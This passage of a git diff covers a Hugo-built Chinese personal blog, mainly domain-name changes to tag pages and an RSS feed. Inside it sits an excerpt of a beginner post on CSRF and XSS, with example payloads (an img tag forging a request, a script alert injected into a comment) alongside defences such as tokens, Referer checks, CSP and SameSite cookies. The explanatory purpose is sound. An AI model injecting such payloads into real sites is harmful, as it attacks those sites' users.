x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>XSS</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解CSRF攻击和XSS攻击</h2></header><div class=entry-content><p>CSRF
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>XSS | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/xss/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/xss/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="XSS"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/xss/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="XSS"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>XSS</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解CSRF攻击和XSS攻击</h2></header><div class=entry-content><p>CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-&lt;img src ="http://xxx.xxx/test?xxx=666">
-只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+&lt;img src ="http://xxx.xxx/test?xxx=666"> 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
-if(referer != null && referer.startsWith("https://xiaochenabc123.test.com")){
-console.log("验证成功!!!")
-}else{
-console.log("验证失败!!!")
-}
-防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null && referer.startsWith("https://xiaochenabc123.test.com")){ console.log("验证成功!!!") }else{ console.log("验证失败!!!") } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加&lt;script>alert(‘hack’)&lt;/script>，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -35,14 +28,13 @@
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;">
-其中img-src对应的指定图像或者图标的有效来源
+&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;"> 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
 可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值
 Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie
-中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=entry-footer><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://xiaochenabc123.github.io/posts/99/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=entry-footer><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://chenjunlinabc.github.io/posts/99/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/xss/index.xml b/tags/xss/index.xml
index 5f85ac1b..c6a873e8 100644
--- a/tags/xss/index.xml
+++ b/tags/xss/index.xml
@@ -2,33 +2,33 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>XSS on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/xss/</link>
+    <link>https://chenjunlinabc.github.io/tags/xss/</link>
     <description>Recent content in XSS on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 12 Sep 2021 17:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/xss/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 12 Sep 2021 17:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/xss/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单了解CSRF攻击和XSS攻击</title>
-      <link>https://xiaochenabc123.github.io/posts/99/</link>
+      <link>https://chenjunlinabc.github.io/posts/99/</link>
       <pubDate>Sun, 12 Sep 2021 17:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/99/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/99/</guid>
       <description>CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-&amp;lt;img src =&amp;quot;http://xxx.xxx/test?xxx=666&amp;quot;&amp;gt;
只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+&amp;lt;img src =&amp;quot;http://xxx.xxx/test?xxx=666&amp;quot;&amp;gt; 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
if(referer != null &amp;amp;&amp;amp; referer.startsWith(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)){
console.log(&amp;quot;验证成功!!!&amp;quot;)
}else{
console.log(&amp;quot;验证失败!!!&amp;quot;)
}
防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null &amp;amp;&amp;amp; referer.startsWith(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)){ console.log(&amp;quot;验证成功!!!&amp;quot;) }else{ console.log(&amp;quot;验证失败!!!&amp;quot;) } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加&amp;lt;script&amp;gt;alert(&amp;lsquo;hack&amp;rsquo;)&amp;lt;/script&amp;gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -48,7 +48,7 @@ xss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src &#39;self&#39;; img-src https://*;&amp;quot;&amp;gt;
其中img-src对应的指定图像或者图标的有效来源
+&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src &#39;self&#39;; img-src https://*;&amp;quot;&amp;gt; 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
diff --git a/tags/xss/page/1/index.html b/tags/xss/page/1/index.html
index fac6e62e..18ef897b 100644
--- a/tags/xss/page/1/index.html
+++ b/tags/xss/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/xss/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/xss/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/xss/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/xss/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/xss/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/xss/"></head></html>
\ No newline at end of file
diff --git a/tags/yarn/index.html b/tags/yarn/index.html
index f7019012..0e719871 100644
--- a/tags/yarn/index.html
+++ b/tags/yarn/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Yarn | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/yarn/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/yarn/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Yarn"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/yarn/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Yarn"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Yarn</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Yarn包管理工具的简单使用</h2></header><div class=entry-content><p>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Yarn | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/yarn/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/yarn/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Yarn"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/yarn/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Yarn"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Yarn</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Yarn包管理工具的简单使用</h2></header><div class=entry-content><p>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
 速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次
 保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录
 安全：yarn会在每个package被执行时校验其完整性
@@ -30,7 +30,7 @@
 更新包到指定版本
 yarn upgrade 包名@版本号
 更新包到最新版本
-yarn upgrade –latest 包名...</p></div><footer class=entry-footer><span title='2021-06-16 22:55:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Yarn包管理工具的简单使用" href=https://xiaochenabc123.github.io/posts/38/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+yarn upgrade –latest 包名...</p></div><footer class=entry-footer><span title='2021-06-16 22:55:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Yarn包管理工具的简单使用" href=https://chenjunlinabc.github.io/posts/38/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
